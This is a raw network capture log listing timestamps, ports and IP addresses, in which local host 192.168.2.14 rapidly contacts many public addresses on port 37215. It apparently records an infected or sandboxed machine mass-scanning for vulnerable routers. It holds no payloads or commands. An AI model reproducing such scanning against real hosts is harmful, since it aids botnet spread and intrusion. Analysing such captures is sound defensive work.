Aug 1, 2024 15:35:02.474709988 CEST	37215	58088	197.231.131.105	192.168.2.14
Aug 1, 2024 15:35:02.474720955 CEST	49654	37215	192.168.2.14	41.34.233.205
Aug 1, 2024 15:35:02.474723101 CEST	37215	53762	41.144.83.214	192.168.2.14
Aug 1, 2024 15:35:02.474735975 CEST	37215	42928	197.69.9.217	192.168.2.14
Aug 1, 2024 15:35:02.474736929 CEST	52210	37215	192.168.2.14	107.49.234.18
Aug 1, 2024 15:35:02.474746943 CEST	37215	60866	157.107.254.47	192.168.2.14
Aug 1, 2024 15:35:02.474751949 CEST	58088	37215	192.168.2.14	197.231.131.105
Aug 1, 2024 15:35:02.474755049 CEST	53762	37215	192.168.2.14	41.144.83.214
Aug 1, 2024 15:35:02.474757910 CEST	37215	43266	197.102.205.1	192.168.2.14
Aug 1, 2024 15:35:02.474767923 CEST	37215	39738	157.63.206.143	192.168.2.14
Aug 1, 2024 15:35:02.474769115 CEST	42928	37215	192.168.2.14	197.69.9.217
Aug 1, 2024 15:35:02.474778891 CEST	37215	59100	197.252.216.239	192.168.2.14
Aug 1, 2024 15:35:02.474788904 CEST	37215	35528	184.229.118.121	192.168.2.14
Aug 1, 2024 15:35:02.474792957 CEST	60866	37215	192.168.2.14	157.107.254.47
Aug 1, 2024 15:35:02.474792957 CEST	43266	37215	192.168.2.14	197.102.205.1
Aug 1, 2024 15:35:02.474798918 CEST	39738	37215	192.168.2.14	157.63.206.143
Aug 1, 2024 15:35:02.474813938 CEST	35528	37215	192.168.2.14	184.229.118.121
Aug 1, 2024 15:35:02.474821091 CEST	59100	37215	192.168.2.14	197.252.216.239
Aug 1, 2024 15:35:02.474987030 CEST	60072	37215	192.168.2.14	197.220.9.78
Aug 1, 2024 15:35:02.475527048 CEST	55946	37215	192.168.2.14	51.57.195.108
Aug 1, 2024 15:35:02.476078033 CEST	42950	37215	192.168.2.14	157.134.206.212
Aug 1, 2024 15:35:02.476624012 CEST	54230	37215	192.168.2.14	157.192.203.125
Aug 1, 2024 15:35:02.477168083 CEST	39514	37215	192.168.2.14	41.148.54.40
Aug 1, 2024 15:35:02.477699995 CEST	38094	37215	192.168.2.14	197.29.157.243
Aug 1, 2024 15:35:02.478158951 CEST	46296	37215	192.168.2.14	41.163.84.58
Aug 1, 2024 15:35:02.478158951 CEST	45024	37215	192.168.2.14	197.59.205.196
Aug 1, 2024 15:35:02.478161097 CEST	39292	37215	192.168.2.14	157.176.142.163
Aug 1, 2024 15:35:02.478168964 CEST	43688	37215	192.168.2.14	185.156.229.7
Aug 1, 2024 15:35:02.478173018 CEST	34298	37215	192.168.2.14	197.183.49.28
Aug 1, 2024 15:35:02.478183985 CEST	57966	37215	192.168.2.14	197.239.122.88
Aug 1, 2024 15:35:02.478185892 CEST	43356	37215	192.168.2.14	157.6.42.244
Aug 1, 2024 15:35:02.478188038 CEST	58110	37215	192.168.2.14	41.130.132.35
Aug 1, 2024 15:35:02.478189945 CEST	41544	37215	192.168.2.14	41.63.51.246
Aug 1, 2024 15:35:02.478193998 CEST	45462	37215	192.168.2.14	64.21.107.149
Aug 1, 2024 15:35:02.478195906 CEST	57890	37215	192.168.2.14	57.81.121.191
Aug 1, 2024 15:35:02.478203058 CEST	52940	37215	192.168.2.14	157.115.87.61
Aug 1, 2024 15:35:02.478207111 CEST	54864	37215	192.168.2.14	157.170.80.123
Aug 1, 2024 15:35:02.478307009 CEST	52074	37215	192.168.2.14	41.176.203.250
Aug 1, 2024 15:35:02.478852987 CEST	51162	37215	192.168.2.14	41.225.20.129
Aug 1, 2024 15:35:02.479372025 CEST	34002	37215	192.168.2.14	41.212.19.162
Aug 1, 2024 15:35:02.479923964 CEST	33506	37215	192.168.2.14	41.201.70.233
Aug 1, 2024 15:35:02.480458021 CEST	39212	37215	192.168.2.14	219.216.78.36
Aug 1, 2024 15:35:02.480993032 CEST	54426	37215	192.168.2.14	41.215.173.75
Aug 1, 2024 15:35:02.481175900 CEST	37215	49932	157.127.47.204	192.168.2.14
Aug 1, 2024 15:35:02.481188059 CEST	37215	47352	97.244.160.28	192.168.2.14
Aug 1, 2024 15:35:02.481198072 CEST	37215	39150	41.119.4.29	192.168.2.14
Aug 1, 2024 15:35:02.481209993 CEST	37215	47144	52.84.82.103	192.168.2.14
Aug 1, 2024 15:35:02.481220007 CEST	37215	50090	43.192.71.169	192.168.2.14
Aug 1, 2024 15:35:02.481231928 CEST	47352	37215	192.168.2.14	97.244.160.28
Aug 1, 2024 15:35:02.481234074 CEST	49932	37215	192.168.2.14	157.127.47.204
Aug 1, 2024 15:35:02.481234074 CEST	39150	37215	192.168.2.14	41.119.4.29
Aug 1, 2024 15:35:02.481241941 CEST	37215	44512	157.4.128.216	192.168.2.14
Aug 1, 2024 15:35:02.481245995 CEST	50090	37215	192.168.2.14	43.192.71.169
Aug 1, 2024 15:35:02.481245995 CEST	47144	37215	192.168.2.14	52.84.82.103
Aug 1, 2024 15:35:02.481251955 CEST	37215	35600	41.213.204.168	192.168.2.14
Aug 1, 2024 15:35:02.481264114 CEST	37215	37044	125.214.106.245	192.168.2.14
Aug 1, 2024 15:35:02.481273890 CEST	35600	37215	192.168.2.14	41.213.204.168
Aug 1, 2024 15:35:02.481275082 CEST	44512	37215	192.168.2.14	157.4.128.216
Aug 1, 2024 15:35:02.481282949 CEST	37215	40560	157.163.53.82	192.168.2.14
Aug 1, 2024 15:35:02.481293917 CEST	37215	41502	41.201.239.10	192.168.2.14
Aug 1, 2024 15:35:02.481297970 CEST	37215	40766	197.27.82.32	192.168.2.14
Aug 1, 2024 15:35:02.481300116 CEST	37044	37215	192.168.2.14	125.214.106.245
Aug 1, 2024 15:35:02.481302977 CEST	37215	55932	197.103.25.147	192.168.2.14
Aug 1, 2024 15:35:02.481307983 CEST	37215	39790	157.194.238.33	192.168.2.14
Aug 1, 2024 15:35:02.481317997 CEST	40560	37215	192.168.2.14	157.163.53.82
Aug 1, 2024 15:35:02.481319904 CEST	41502	37215	192.168.2.14	41.201.239.10
Aug 1, 2024 15:35:02.481327057 CEST	37215	37198	157.252.188.170	192.168.2.14
Aug 1, 2024 15:35:02.481328964 CEST	40766	37215	192.168.2.14	197.27.82.32
Aug 1, 2024 15:35:02.481332064 CEST	55932	37215	192.168.2.14	197.103.25.147
Aug 1, 2024 15:35:02.481338024 CEST	37215	53016	41.123.241.29	192.168.2.14
Aug 1, 2024 15:35:02.481343985 CEST	39790	37215	192.168.2.14	157.194.238.33
Aug 1, 2024 15:35:02.481348991 CEST	37215	43524	41.145.10.110	192.168.2.14
Aug 1, 2024 15:35:02.481359005 CEST	37198	37215	192.168.2.14	157.252.188.170
Aug 1, 2024 15:35:02.481364965 CEST	53016	37215	192.168.2.14	41.123.241.29
Aug 1, 2024 15:35:02.481367111 CEST	37215	33912	197.167.205.37	192.168.2.14
Aug 1, 2024 15:35:02.481378078 CEST	37215	39472	41.175.170.216	192.168.2.14
Aug 1, 2024 15:35:02.481379986 CEST	43524	37215	192.168.2.14	41.145.10.110
Aug 1, 2024 15:35:02.481409073 CEST	33912	37215	192.168.2.14	197.167.205.37
Aug 1, 2024 15:35:02.481410980 CEST	37215	45808	186.29.197.200	192.168.2.14
Aug 1, 2024 15:35:02.481415033 CEST	39472	37215	192.168.2.14	41.175.170.216
Aug 1, 2024 15:35:02.481450081 CEST	45808	37215	192.168.2.14	186.29.197.200
Aug 1, 2024 15:35:02.481513023 CEST	37215	43926	197.18.94.122	192.168.2.14
Aug 1, 2024 15:35:02.481523991 CEST	37215	51604	197.16.25.70	192.168.2.14
Aug 1, 2024 15:35:02.481534004 CEST	37215	37042	157.70.5.235	192.168.2.14
Aug 1, 2024 15:35:02.481547117 CEST	37215	55252	197.85.236.187	192.168.2.14
Aug 1, 2024 15:35:02.481556892 CEST	37215	47720	41.60.234.106	192.168.2.14
Aug 1, 2024 15:35:02.481561899 CEST	51604	37215	192.168.2.14	197.16.25.70
Aug 1, 2024 15:35:02.481566906 CEST	43926	37215	192.168.2.14	197.18.94.122
Aug 1, 2024 15:35:02.481568098 CEST	37215	53124	45.247.103.17	192.168.2.14
Aug 1, 2024 15:35:02.481569052 CEST	37042	37215	192.168.2.14	157.70.5.235
Aug 1, 2024 15:35:02.481579065 CEST	37215	50216	41.3.105.248	192.168.2.14
Aug 1, 2024 15:35:02.481626987 CEST	39808	37215	192.168.2.14	157.69.202.15
Aug 1, 2024 15:35:02.481647968 CEST	37215	39812	88.246.104.3	192.168.2.14
Aug 1, 2024 15:35:02.481659889 CEST	37215	32986	17.232.220.48	192.168.2.14
Aug 1, 2024 15:35:02.481672049 CEST	37215	46548	197.198.105.141	192.168.2.14
Aug 1, 2024 15:35:02.481682062 CEST	37215	41222	157.252.87.165	192.168.2.14
Aug 1, 2024 15:35:02.481692076 CEST	37215	57236	41.76.4.130	192.168.2.14
Aug 1, 2024 15:35:02.481703043 CEST	37215	53120	41.120.137.195	192.168.2.14
Aug 1, 2024 15:35:02.481746912 CEST	37215	52940	157.115.87.61	192.168.2.14
Aug 1, 2024 15:35:02.481758118 CEST	37215	54864	157.170.80.123	192.168.2.14
Aug 1, 2024 15:35:02.481767893 CEST	37215	57890	57.81.121.191	192.168.2.14
Aug 1, 2024 15:35:02.481777906 CEST	37215	45462	64.21.107.149	192.168.2.14
Aug 1, 2024 15:35:02.481823921 CEST	37215	58110	41.130.132.35	192.168.2.14
Aug 1, 2024 15:35:02.481924057 CEST	37215	41544	41.63.51.246	192.168.2.14
Aug 1, 2024 15:35:02.482011080 CEST	37215	57966	197.239.122.88	192.168.2.14
Aug 1, 2024 15:35:02.482023001 CEST	37215	43356	157.6.42.244	192.168.2.14
Aug 1, 2024 15:35:02.482064962 CEST	37215	34298	197.183.49.28	192.168.2.14
Aug 1, 2024 15:35:02.482151985 CEST	52234	37215	192.168.2.14	41.114.52.253
Aug 1, 2024 15:35:02.482152939 CEST	56240	37215	192.168.2.14	209.177.156.74
Aug 1, 2024 15:35:02.482152939 CEST	45278	37215	192.168.2.14	41.168.229.204
Aug 1, 2024 15:35:02.482165098 CEST	38670	37215	192.168.2.14	157.34.147.49
Aug 1, 2024 15:35:02.482167006 CEST	40894	37215	192.168.2.14	197.217.139.221
Aug 1, 2024 15:35:02.482170105 CEST	41694	37215	192.168.2.14	41.197.130.99
Aug 1, 2024 15:35:02.482181072 CEST	59808	37215	192.168.2.14	41.17.227.32
Aug 1, 2024 15:35:02.482181072 CEST	48528	37215	192.168.2.14	197.137.75.181
Aug 1, 2024 15:35:02.482181072 CEST	55022	37215	192.168.2.14	197.82.223.181
Aug 1, 2024 15:35:02.482188940 CEST	60900	37215	192.168.2.14	41.35.113.38
Aug 1, 2024 15:35:02.482208967 CEST	35570	37215	192.168.2.14	41.95.152.174
Aug 1, 2024 15:35:02.482209921 CEST	37215	43688	185.156.229.7	192.168.2.14
Aug 1, 2024 15:35:02.482397079 CEST	37215	39292	157.176.142.163	192.168.2.14
Aug 1, 2024 15:35:02.482496977 CEST	37215	58592	48.243.49.3	192.168.2.14
Aug 1, 2024 15:35:02.482604027 CEST	37215	56162	8.230.138.92	192.168.2.14
Aug 1, 2024 15:35:02.482666016 CEST	37215	43850	197.220.94.188	192.168.2.14
Aug 1, 2024 15:35:02.482713938 CEST	37215	41642	157.218.53.40	192.168.2.14
Aug 1, 2024 15:35:02.482770920 CEST	37064	37215	192.168.2.14	197.157.64.128
Aug 1, 2024 15:35:02.482822895 CEST	37215	49654	41.34.233.205	192.168.2.14
Aug 1, 2024 15:35:02.482965946 CEST	37215	35796	36.233.5.221	192.168.2.14
Aug 1, 2024 15:35:02.483057976 CEST	37215	52210	107.49.234.18	192.168.2.14
Aug 1, 2024 15:35:02.483068943 CEST	37215	58088	197.231.131.105	192.168.2.14
Aug 1, 2024 15:35:02.483112097 CEST	37215	53762	41.144.83.214	192.168.2.14
Aug 1, 2024 15:35:02.483150005 CEST	37215	42928	197.69.9.217	192.168.2.14
Aug 1, 2024 15:35:02.483163118 CEST	37215	60866	157.107.254.47	192.168.2.14
Aug 1, 2024 15:35:02.483207941 CEST	37215	43266	197.102.205.1	192.168.2.14
Aug 1, 2024 15:35:02.483253002 CEST	37215	39738	157.63.206.143	192.168.2.14
Aug 1, 2024 15:35:02.483266115 CEST	37215	59100	197.252.216.239	192.168.2.14
Aug 1, 2024 15:35:02.483309031 CEST	37215	35528	184.229.118.121	192.168.2.14
Aug 1, 2024 15:35:02.483321905 CEST	53072	37215	192.168.2.14	157.119.255.44
Aug 1, 2024 15:35:02.483392000 CEST	37215	49932	157.127.47.204	192.168.2.14
Aug 1, 2024 15:35:02.483459949 CEST	37215	39150	41.119.4.29	192.168.2.14
Aug 1, 2024 15:35:02.483509064 CEST	37215	47352	97.244.160.28	192.168.2.14
Aug 1, 2024 15:35:02.483520031 CEST	37215	47144	52.84.82.103	192.168.2.14
Aug 1, 2024 15:35:02.483695984 CEST	37215	50090	43.192.71.169	192.168.2.14
Aug 1, 2024 15:35:02.483706951 CEST	37215	44512	157.4.128.216	192.168.2.14
Aug 1, 2024 15:35:02.483716011 CEST	37215	35600	41.213.204.168	192.168.2.14
Aug 1, 2024 15:35:02.483726978 CEST	37215	37044	125.214.106.245	192.168.2.14
Aug 1, 2024 15:35:02.483736992 CEST	37215	40560	157.163.53.82	192.168.2.14
Aug 1, 2024 15:35:02.483874083 CEST	60784	37215	192.168.2.14	98.172.95.185
Aug 1, 2024 15:35:02.483899117 CEST	37215	41502	41.201.239.10	192.168.2.14
Aug 1, 2024 15:35:02.483910084 CEST	37215	40766	197.27.82.32	192.168.2.14
Aug 1, 2024 15:35:02.483920097 CEST	37215	55932	197.103.25.147	192.168.2.14
Aug 1, 2024 15:35:02.483923912 CEST	37215	39790	157.194.238.33	192.168.2.14
Aug 1, 2024 15:35:02.483932972 CEST	37215	37198	157.252.188.170	192.168.2.14
Aug 1, 2024 15:35:02.483943939 CEST	37215	53016	41.123.241.29	192.168.2.14
Aug 1, 2024 15:35:02.483982086 CEST	37215	43524	41.145.10.110	192.168.2.14
Aug 1, 2024 15:35:02.484015942 CEST	37215	33912	197.167.205.37	192.168.2.14
Aug 1, 2024 15:35:02.484026909 CEST	37215	38626	197.108.26.212	192.168.2.14
Aug 1, 2024 15:35:02.484060049 CEST	37215	39472	41.175.170.216	192.168.2.14
Aug 1, 2024 15:35:02.484070063 CEST	37215	49102	157.205.197.163	192.168.2.14
Aug 1, 2024 15:35:02.484091043 CEST	37215	44894	157.115.212.17	192.168.2.14
Aug 1, 2024 15:35:02.484111071 CEST	37215	57072	157.82.203.210	192.168.2.14
Aug 1, 2024 15:35:02.484121084 CEST	37215	45144	157.85.174.66	192.168.2.14
Aug 1, 2024 15:35:02.484184980 CEST	37215	46808	157.179.100.46	192.168.2.14
Aug 1, 2024 15:35:02.484216928 CEST	37215	37618	197.156.18.255	192.168.2.14
Aug 1, 2024 15:35:02.484225988 CEST	37215	54578	157.60.125.164	192.168.2.14
Aug 1, 2024 15:35:02.484239101 CEST	37215	57224	157.85.7.22	192.168.2.14
Aug 1, 2024 15:35:02.484334946 CEST	37215	37522	177.6.35.214	192.168.2.14
Aug 1, 2024 15:35:02.484349966 CEST	37215	37706	41.70.100.139	192.168.2.14
Aug 1, 2024 15:35:02.484361887 CEST	37215	41854	134.13.225.52	192.168.2.14
Aug 1, 2024 15:35:02.484383106 CEST	37215	51878	178.141.81.171	192.168.2.14
Aug 1, 2024 15:35:02.484394073 CEST	37215	35860	20.12.163.242	192.168.2.14
Aug 1, 2024 15:35:02.484406948 CEST	37215	49476	101.33.241.3	192.168.2.14
Aug 1, 2024 15:35:02.484426975 CEST	37215	43194	197.34.173.152	192.168.2.14
Aug 1, 2024 15:35:02.484435081 CEST	33598	37215	192.168.2.14	41.10.20.35
Aug 1, 2024 15:35:02.484436989 CEST	37215	60900	41.35.113.38	192.168.2.14
Aug 1, 2024 15:35:02.484446049 CEST	37215	55022	197.82.223.181	192.168.2.14
Aug 1, 2024 15:35:02.484508038 CEST	37215	59808	41.17.227.32	192.168.2.14
Aug 1, 2024 15:35:02.484519958 CEST	37215	48528	197.137.75.181	192.168.2.14
Aug 1, 2024 15:35:02.484565973 CEST	37215	45024	197.59.205.196	192.168.2.14
Aug 1, 2024 15:35:02.484653950 CEST	37215	40894	197.217.139.221	192.168.2.14
Aug 1, 2024 15:35:02.484703064 CEST	37215	41694	41.197.130.99	192.168.2.14
Aug 1, 2024 15:35:02.484713078 CEST	37215	59352	133.16.137.126	192.168.2.14
Aug 1, 2024 15:35:02.484728098 CEST	37215	44606	41.242.65.241	192.168.2.14
Aug 1, 2024 15:35:02.484816074 CEST	37215	56406	189.152.253.165	192.168.2.14
Aug 1, 2024 15:35:02.484827042 CEST	37215	39932	157.12.171.175	192.168.2.14
Aug 1, 2024 15:35:02.484848022 CEST	37215	42536	41.191.246.193	192.168.2.14
Aug 1, 2024 15:35:02.484921932 CEST	37215	54348	197.93.12.236	192.168.2.14
Aug 1, 2024 15:35:02.484932899 CEST	37215	55332	41.47.81.30	192.168.2.14
Aug 1, 2024 15:35:02.484972954 CEST	37215	35640	157.131.150.200	192.168.2.14
Aug 1, 2024 15:35:02.485023022 CEST	47106	37215	192.168.2.14	157.230.8.52
Aug 1, 2024 15:35:02.485030890 CEST	37215	50040	41.186.223.52	192.168.2.14
Aug 1, 2024 15:35:02.485042095 CEST	37215	53050	157.191.249.159	192.168.2.14
Aug 1, 2024 15:35:02.485069036 CEST	37215	33916	157.223.194.94	192.168.2.14
Aug 1, 2024 15:35:02.485171080 CEST	37215	58072	157.180.107.56	192.168.2.14
Aug 1, 2024 15:35:02.485181093 CEST	37215	32808	47.254.221.229	192.168.2.14
Aug 1, 2024 15:35:02.485214949 CEST	37215	48152	168.169.182.39	192.168.2.14
Aug 1, 2024 15:35:02.485332012 CEST	37215	36380	211.252.170.13	192.168.2.14
Aug 1, 2024 15:35:02.485342026 CEST	37215	45044	197.32.76.173	192.168.2.14
Aug 1, 2024 15:35:02.485387087 CEST	37215	57856	197.145.248.74	192.168.2.14
Aug 1, 2024 15:35:02.485399008 CEST	37215	41136	41.133.141.213	192.168.2.14
Aug 1, 2024 15:35:02.485476017 CEST	37215	33840	197.59.215.245	192.168.2.14
Aug 1, 2024 15:35:02.485486984 CEST	37215	48734	197.71.190.208	192.168.2.14
Aug 1, 2024 15:35:02.485497952 CEST	37215	54974	157.82.9.120	192.168.2.14
Aug 1, 2024 15:35:02.485517979 CEST	37215	35786	197.52.194.239	192.168.2.14
Aug 1, 2024 15:35:02.485527992 CEST	37215	37202	129.79.100.174	192.168.2.14
Aug 1, 2024 15:35:02.485539913 CEST	37215	56202	197.63.101.157	192.168.2.14
Aug 1, 2024 15:35:02.485569000 CEST	37215	52066	41.141.36.255	192.168.2.14
Aug 1, 2024 15:35:02.485574007 CEST	37678	37215	192.168.2.14	157.174.67.71
Aug 1, 2024 15:35:02.485609055 CEST	37215	52114	112.229.192.172	192.168.2.14
Aug 1, 2024 15:35:02.485620022 CEST	37215	46326	181.144.127.106	192.168.2.14
Aug 1, 2024 15:35:02.485640049 CEST	37215	38670	157.34.147.49	192.168.2.14
Aug 1, 2024 15:35:02.485683918 CEST	37215	45278	41.168.229.204	192.168.2.14
Aug 1, 2024 15:35:02.485696077 CEST	37215	56240	209.177.156.74	192.168.2.14
Aug 1, 2024 15:35:02.485738993 CEST	37215	52234	41.114.52.253	192.168.2.14
Aug 1, 2024 15:35:02.486048937 CEST	37215	46296	41.163.84.58	192.168.2.14
Aug 1, 2024 15:35:02.486112118 CEST	37215	39812	88.246.104.3	192.168.2.14
Aug 1, 2024 15:35:02.486112118 CEST	35808	37215	192.168.2.14	157.207.115.228
Aug 1, 2024 15:35:02.486121893 CEST	37215	32986	17.232.220.48	192.168.2.14
Aug 1, 2024 15:35:02.486134052 CEST	37215	46548	197.198.105.141	192.168.2.14
Aug 1, 2024 15:35:02.486144066 CEST	37215	41222	157.252.87.165	192.168.2.14
Aug 1, 2024 15:35:02.486156940 CEST	37215	57236	41.76.4.130	192.168.2.14
Aug 1, 2024 15:35:02.486166954 CEST	37215	53120	41.120.137.195	192.168.2.14
Aug 1, 2024 15:35:02.486311913 CEST	37215	54864	157.170.80.123	192.168.2.14
Aug 1, 2024 15:35:02.486673117 CEST	37894	37215	192.168.2.14	157.250.141.243
Aug 1, 2024 15:35:02.486730099 CEST	37215	45462	64.21.107.149	192.168.2.14
Aug 1, 2024 15:35:02.486740112 CEST	37215	58110	41.130.132.35	192.168.2.14
Aug 1, 2024 15:35:02.486748934 CEST	37215	41544	41.63.51.246	192.168.2.14
Aug 1, 2024 15:35:02.486773968 CEST	37215	57966	197.239.122.88	192.168.2.14
Aug 1, 2024 15:35:02.486792088 CEST	37215	43356	157.6.42.244	192.168.2.14
Aug 1, 2024 15:35:02.486901999 CEST	37215	39292	157.176.142.163	192.168.2.14
Aug 1, 2024 15:35:02.486912012 CEST	37215	43688	185.156.229.7	192.168.2.14
Aug 1, 2024 15:35:02.486922026 CEST	37215	34298	197.183.49.28	192.168.2.14
Aug 1, 2024 15:35:02.486951113 CEST	37215	56162	8.230.138.92	192.168.2.14
Aug 1, 2024 15:35:02.486962080 CEST	37215	43850	197.220.94.188	192.168.2.14
Aug 1, 2024 15:35:02.486964941 CEST	37215	58592	48.243.49.3	192.168.2.14
Aug 1, 2024 15:35:02.486974955 CEST	37215	41642	157.218.53.40	192.168.2.14
Aug 1, 2024 15:35:02.486985922 CEST	37215	49654	41.34.233.205	192.168.2.14
Aug 1, 2024 15:35:02.486995935 CEST	37215	35796	36.233.5.221	192.168.2.14
Aug 1, 2024 15:35:02.487005949 CEST	37215	52210	107.49.234.18	192.168.2.14
Aug 1, 2024 15:35:02.487025023 CEST	37215	58088	197.231.131.105	192.168.2.14
Aug 1, 2024 15:35:02.487036943 CEST	37215	53762	41.144.83.214	192.168.2.14
Aug 1, 2024 15:35:02.487047911 CEST	37215	42928	197.69.9.217	192.168.2.14
Aug 1, 2024 15:35:02.487059116 CEST	37215	60866	157.107.254.47	192.168.2.14
Aug 1, 2024 15:35:02.487068892 CEST	37215	43266	197.102.205.1	192.168.2.14
Aug 1, 2024 15:35:02.487078905 CEST	37215	39738	157.63.206.143	192.168.2.14
Aug 1, 2024 15:35:02.487087965 CEST	37215	59100	197.252.216.239	192.168.2.14
Aug 1, 2024 15:35:02.487097025 CEST	37215	35528	184.229.118.121	192.168.2.14
Aug 1, 2024 15:35:02.487257004 CEST	54422	37215	192.168.2.14	197.149.169.45
Aug 1, 2024 15:35:02.487432003 CEST	37215	49932	157.127.47.204	192.168.2.14
Aug 1, 2024 15:35:02.487442017 CEST	37215	39150	41.119.4.29	192.168.2.14
Aug 1, 2024 15:35:02.487452030 CEST	37215	47352	97.244.160.28	192.168.2.14
Aug 1, 2024 15:35:02.487476110 CEST	37215	47144	52.84.82.103	192.168.2.14
Aug 1, 2024 15:35:02.487484932 CEST	37215	50090	43.192.71.169	192.168.2.14
Aug 1, 2024 15:35:02.487494946 CEST	37215	44512	157.4.128.216	192.168.2.14
Aug 1, 2024 15:35:02.487504005 CEST	37215	35600	41.213.204.168	192.168.2.14
Aug 1, 2024 15:35:02.487538099 CEST	37215	37044	125.214.106.245	192.168.2.14
Aug 1, 2024 15:35:02.487548113 CEST	37215	41502	41.201.239.10	192.168.2.14
Aug 1, 2024 15:35:02.487556934 CEST	37215	40766	197.27.82.32	192.168.2.14
Aug 1, 2024 15:35:02.487567902 CEST	37215	39790	157.194.238.33	192.168.2.14
Aug 1, 2024 15:35:02.487596989 CEST	37215	40560	157.163.53.82	192.168.2.14
Aug 1, 2024 15:35:02.487606049 CEST	37215	37198	157.252.188.170	192.168.2.14
Aug 1, 2024 15:35:02.487616062 CEST	37215	55932	197.103.25.147	192.168.2.14
Aug 1, 2024 15:35:02.487657070 CEST	37215	53016	41.123.241.29	192.168.2.14
Aug 1, 2024 15:35:02.487667084 CEST	37215	43524	41.145.10.110	192.168.2.14
Aug 1, 2024 15:35:02.487677097 CEST	37215	33912	197.167.205.37	192.168.2.14
Aug 1, 2024 15:35:02.487687111 CEST	37215	39472	41.175.170.216	192.168.2.14
Aug 1, 2024 15:35:02.487791061 CEST	60252	37215	192.168.2.14	157.20.165.249
Aug 1, 2024 15:35:02.488343954 CEST	38818	37215	192.168.2.14	41.157.27.124
Aug 1, 2024 15:35:02.488872051 CEST	37215	60486	157.77.131.13	192.168.2.14
Aug 1, 2024 15:35:02.488883972 CEST	37215	60682	41.144.164.184	192.168.2.14
Aug 1, 2024 15:35:02.488894939 CEST	37215	53120	41.120.137.195	192.168.2.14
Aug 1, 2024 15:35:02.488897085 CEST	34604	37215	192.168.2.14	213.248.5.88
Aug 1, 2024 15:35:02.488915920 CEST	37215	39956	197.238.157.235	192.168.2.14
Aug 1, 2024 15:35:02.488915920 CEST	60486	37215	192.168.2.14	157.77.131.13
Aug 1, 2024 15:35:02.488917112 CEST	60682	37215	192.168.2.14	41.144.164.184
Aug 1, 2024 15:35:02.488926888 CEST	37215	48266	197.161.10.206	192.168.2.14
Aug 1, 2024 15:35:02.488935947 CEST	37215	50496	157.23.15.161	192.168.2.14
Aug 1, 2024 15:35:02.488943100 CEST	37215	54586	41.1.81.129	192.168.2.14
Aug 1, 2024 15:35:02.488953114 CEST	39956	37215	192.168.2.14	197.238.157.235
Aug 1, 2024 15:35:02.488954067 CEST	37215	43288	41.159.247.172	192.168.2.14
Aug 1, 2024 15:35:02.488956928 CEST	50496	37215	192.168.2.14	157.23.15.161
Aug 1, 2024 15:35:02.488962889 CEST	48266	37215	192.168.2.14	197.161.10.206
Aug 1, 2024 15:35:02.488964081 CEST	37215	45494	41.18.179.64	192.168.2.14
Aug 1, 2024 15:35:02.488986015 CEST	54586	37215	192.168.2.14	41.1.81.129
Aug 1, 2024 15:35:02.488991022 CEST	45494	37215	192.168.2.14	41.18.179.64
Aug 1, 2024 15:35:02.488991976 CEST	43288	37215	192.168.2.14	41.159.247.172
Aug 1, 2024 15:35:02.489006042 CEST	37215	38482	64.232.199.23	192.168.2.14
Aug 1, 2024 15:35:02.489017010 CEST	37215	44052	35.89.64.75	192.168.2.14
Aug 1, 2024 15:35:02.489048004 CEST	38482	37215	192.168.2.14	64.232.199.23
Aug 1, 2024 15:35:02.489059925 CEST	44052	37215	192.168.2.14	35.89.64.75
Aug 1, 2024 15:35:02.489238024 CEST	37215	45526	41.57.217.6	192.168.2.14
Aug 1, 2024 15:35:02.489248991 CEST	37215	58600	197.20.235.245	192.168.2.14
Aug 1, 2024 15:35:02.489260912 CEST	37215	42198	116.149.96.0	192.168.2.14
Aug 1, 2024 15:35:02.489272118 CEST	37215	51454	41.240.121.125	192.168.2.14
Aug 1, 2024 15:35:02.489279032 CEST	45526	37215	192.168.2.14	41.57.217.6
Aug 1, 2024 15:35:02.489279032 CEST	58600	37215	192.168.2.14	197.20.235.245
Aug 1, 2024 15:35:02.489281893 CEST	37215	54864	157.170.80.123	192.168.2.14
Aug 1, 2024 15:35:02.489291906 CEST	37215	57482	197.239.136.142	192.168.2.14
Aug 1, 2024 15:35:02.489291906 CEST	42198	37215	192.168.2.14	116.149.96.0
Aug 1, 2024 15:35:02.489303112 CEST	37215	43568	107.49.33.59	192.168.2.14
Aug 1, 2024 15:35:02.489306927 CEST	51454	37215	192.168.2.14	41.240.121.125
Aug 1, 2024 15:35:02.489319086 CEST	57482	37215	192.168.2.14	197.239.136.142
Aug 1, 2024 15:35:02.489322901 CEST	37215	56964	197.91.203.79	192.168.2.14
Aug 1, 2024 15:35:02.489335060 CEST	43568	37215	192.168.2.14	107.49.33.59
Aug 1, 2024 15:35:02.489336014 CEST	37215	40078	41.231.13.235	192.168.2.14
Aug 1, 2024 15:35:02.489345074 CEST	37215	45462	64.21.107.149	192.168.2.14
Aug 1, 2024 15:35:02.489355087 CEST	37215	58534	157.130.206.118	192.168.2.14
Aug 1, 2024 15:35:02.489362955 CEST	56964	37215	192.168.2.14	197.91.203.79
Aug 1, 2024 15:35:02.489367008 CEST	40078	37215	192.168.2.14	41.231.13.235
Aug 1, 2024 15:35:02.489367962 CEST	37215	59326	157.136.225.164	192.168.2.14
Aug 1, 2024 15:35:02.489378929 CEST	37215	44898	41.51.28.135	192.168.2.14
Aug 1, 2024 15:35:02.489387035 CEST	58534	37215	192.168.2.14	157.130.206.118
Aug 1, 2024 15:35:02.489387989 CEST	37215	58110	41.130.132.35	192.168.2.14
Aug 1, 2024 15:35:02.489393950 CEST	59326	37215	192.168.2.14	157.136.225.164
Aug 1, 2024 15:35:02.489397049 CEST	37215	41544	41.63.51.246	192.168.2.14
Aug 1, 2024 15:35:02.489408016 CEST	37215	47644	197.52.235.43	192.168.2.14
Aug 1, 2024 15:35:02.489418983 CEST	37215	43764	41.30.96.86	192.168.2.14
Aug 1, 2024 15:35:02.489425898 CEST	44898	37215	192.168.2.14	41.51.28.135
Aug 1, 2024 15:35:02.489428997 CEST	37215	43976	96.112.221.147	192.168.2.14
Aug 1, 2024 15:35:02.489439964 CEST	37215	56920	202.207.227.178	192.168.2.14
Aug 1, 2024 15:35:02.489444971 CEST	47644	37215	192.168.2.14	197.52.235.43
Aug 1, 2024 15:35:02.489449978 CEST	37215	55432	207.174.238.65	192.168.2.14
Aug 1, 2024 15:35:02.489450932 CEST	43764	37215	192.168.2.14	41.30.96.86
Aug 1, 2024 15:35:02.489461899 CEST	43976	37215	192.168.2.14	96.112.221.147
Aug 1, 2024 15:35:02.489474058 CEST	56920	37215	192.168.2.14	202.207.227.178
Aug 1, 2024 15:35:02.489490986 CEST	55432	37215	192.168.2.14	207.174.238.65
Aug 1, 2024 15:35:02.489502907 CEST	52024	37215	192.168.2.14	157.78.238.12
